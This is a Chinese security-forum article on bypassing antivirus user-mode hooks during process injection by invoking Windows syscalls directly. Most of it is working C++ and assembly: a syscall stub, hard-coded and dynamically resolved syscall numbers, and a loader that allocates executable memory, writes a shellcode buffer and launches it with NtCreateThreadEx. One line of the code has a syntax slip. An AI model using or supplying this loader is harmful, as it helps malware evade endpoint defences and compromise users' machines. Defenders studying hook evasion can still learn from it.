问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
使用系统调用SYSCALL规避杀软HOOK
漏洞分析
在进程注入的时候会出现一些敏感函数被HOOK的情况 像VirtualAllocEx,WriteProcessMemory都是重点关注的函数 本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位 ## 0x01 系统...
在进程注入的时候会出现一些敏感函数被HOOK的情况 像VirtualAllocEx,WriteProcessMemory都是重点关注的函数 本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位 0x01 系统调用号 ---------- 打个比方 VirtualAllocEx不是用户层的最后一个函数 VirtualAllocEx->VirtualAllocExNuma->ZwAllocateVirtualMemory 最后ZwAllocateVirtualMemory函数进入内核层 这些底层的函数都有一个数字,在windows10的情况下ZwAllocateVirtualMemory对应的号就是0x18号 简单说就是底层函数对应的那个数字就是系统调用号 下面用dbg跟一下VirtualAllocEx ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9ccbefcccd241b9b46b45f3e44ad4b4450771719.png) 这是主函数里面VirtualAllocEx用F7跟进 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6597473225fc78f7070e91475268d2d07db4eec8.png) 上面调整下堆栈,然后jmp到VirtualAllocEx函数位置 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a8115471df6a0124704359df87e9c625ad6ea956.png) 这里看到调用了VirtualAllocExNuma ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9691e5c13bdc71f6c0f693205f310d628ddfbd18.png) 这里就调到了ntdll.dll里面的ZwAllocateVirtualMemory,基本到ntdll.dll里面是用户层底层函数了 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-16d6725f48bf3a5bdaae207d6c39d5d0a56113e3.png) 到这里就可以看到调用号是18了,上面也有一些别的调用号对应的函数 ```asm mov r10,rcx mov eax,18 test byte ptr ds:[7FFE0308],1 jne ntdll.7FFAA5D22B15 syscall ret ``` 上面这段就是执行系统调用号对应的函数 test byte ptr ds:\[7FFE0308\],1 jne ntdll.7FFAA5D22B15 这是用来校验的可以删掉 ```asm mov r10,rcx mov eax,18 #将系统调用号存入eax中 syscall #进入内核层 ret ``` 上面的四行就可以调用用户层最下层函数 不同系统的系统调用号是不同的,可以在下面这个网站查询,找不到的函数Zw修改Nt就可以 <https://j00ru.vexillium.org/syscalls/nt/64/> 0x02 代码实现 --------- VirtualAllocEx -> NtAllocateVirtualMemory -> 0x18 WriteMemory -> NtWriteVirtualMemory -> 0x3a CreateRemoteThread -> NtCreateThreadEx -> 0xc6 这是三个敏感函数对应的底层函数 这次不使用NtWriteVirtualMemory函数就用普通的WriteMemory写内存,因为NtWriteVirtualMemory涉及内存保护比较麻烦 ZwOpenProcess->ZwProtectVirtualMemory->ZwWriteVirtualMemory 要这样写,还没研究过就先不看了 上面的系统调用号都是windows11的,网站上只到windows10,所以有些对不上 这里就不写找的过程了,和上面是相同的 ```c++ #include <stdio.h> #include <windows.h> #pragma comment(linker, "/section:.data,RWE") unsigned char buf[] = "shellcode"; char syscall_sc[] = { 0x4c, 0x8b, 0xd1, 0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号 0x0f, 0x05, //syscall 0xc3 //ret }; typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)( HANDLE ProcessHandle, //进程句柄 PVOID* BaseAddress, //指向开辟内存的指针,二级指针 ULONG_PTR ZeroBits, //不知道啥用直接置零 PSIZE_T RegionSize, //指向开辟大小的指针 ULONG AllocationType, //内存页 ULONG Protect //内存属性 ); typedef DWORD(WINAPI* fnNtCreateThreadEx)( PHANDLE ThreadHandle, //指向线程句柄的指针 ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, //进程句柄 LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数 LPVOID lpParameter, //函数的参数 ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnknow ); //还有几个参数用不到置零就就可以 int main() { SIZE_T SIZE = 0x1000; LPVOID Address NULL; HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1); //得到进程句柄 syscall_sc[4] = 0x18; //修改模板调用号 fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc; //设置执行函数就走到已修改过的syscall位置 NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //调用NtAllocateVirtualMemory函数 WriteProcessMemory(process, Address, buf, sizeof(buf), NULL); //写内存 syscall_sc[4] = 0xc6; //修改模板 fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc; //设置函数指针 HANDLE hRemoteThread; DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0); //执行线程 } ``` 写过Hook的师傅可能知道,内联Hook都是直接修改函数的汇编,把正常执行的汇编跳到某个想执行的地方 上述方法直接调用底层函数,普通的Hook已经定位不到了,再高级一点Hook住ntdll.dll也是没用的,因为这里的syscall并不是通过ntdll.dll的,理论上来说已经避免了R3的Hook了 0x03 动态获取系统调用号 -------------- 上面的代码还有个问题,不同版本的系统系统调用号也是不同的,甚至有些小版本的系统调用号也不同,这样写兼容肯定是很不好的,需要找到一种动态获取系统调用号的方法 先看一段代码 ```c++ #include<stdio.h> #include<Windows.h> #pragma comment(linker, "/section:.data,RWE") typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); int main() { SIZE_T SIZE = 0x1000; LPVOID Address = NULL; fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); } ``` 用dbg查看下 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5f29b72bd88c4737493aa24d71e09550656ba763.png) GetProcAddress得到了函数指针存在ebx然后call过去 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8f7799b6e5f54171734ffc2e61b3541a7ea605a6.png) 这里过去同样可以找到syscall号 可以通过得到函数指针,往后推四个字节得到syscall号 可以写个函数实现一下 ```C++ #include <stdio.h> #include <windows.h> #pragma comment(linker, "/section:.data,RWE") unsigned char buf[] = "shellcode"; char syscall_sc[] = { 0x4c, 0x8b, 0xd1, 0xb8, 0xb9, 0x00, 0x00, 0x00, //系统调用号 0x0f, 0x05, //syscall 0xc3 //ret }; typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)( HANDLE ProcessHandle, //进程句柄 PVOID* BaseAddress, //指向开辟内存的指针,二级指针 ULONG_PTR ZeroBits, //不知道啥用直接置零 PSIZE_T RegionSize, //指向开辟大小的指针 ULONG AllocationType, //内存页 ULONG Protect //内存属性 ); typedef DWORD(WINAPI* fnNtCreateThreadEx)( PHANDLE ThreadHandle, //指向线程句柄的指针 ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, //进程句柄 LPTHREAD_START_ROUTINE lpstartAddress, //要执行的函数 LPVOID lpParameter, //函数的参数 ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnknow ); int GetSysCall(LPCSTR FuncName) { SIZE_T num; char sc[5]; LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName); //得到函数指针 ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num); //读取五个字节存到数组 return sc[4]; //取得syscall号 } int main() { SIZE_T SIZE = 0x1000; LPVOID Address= NULL; ULONG write; HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1); syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory"); fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc; NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(process, Address, buf, sizeof(buf), NULL); syscall_sc[4] = GetSysCall("NtCreateThreadEx"); fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc; HANDLE hRemoteThread; DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0); system(" pause"); } ``` 这样就实现了动态获取系统调用号 0x04 参考 ------- <https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav> <https://idiotc4t.com/defense-/dynamic-get-syscallid>
发表于 2021-12-24 09:31:09
阅读 ( 8033 )
分类:
安全开发
0 推荐
收藏
0 条评论
请先
登录
后评论
Macchiato
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!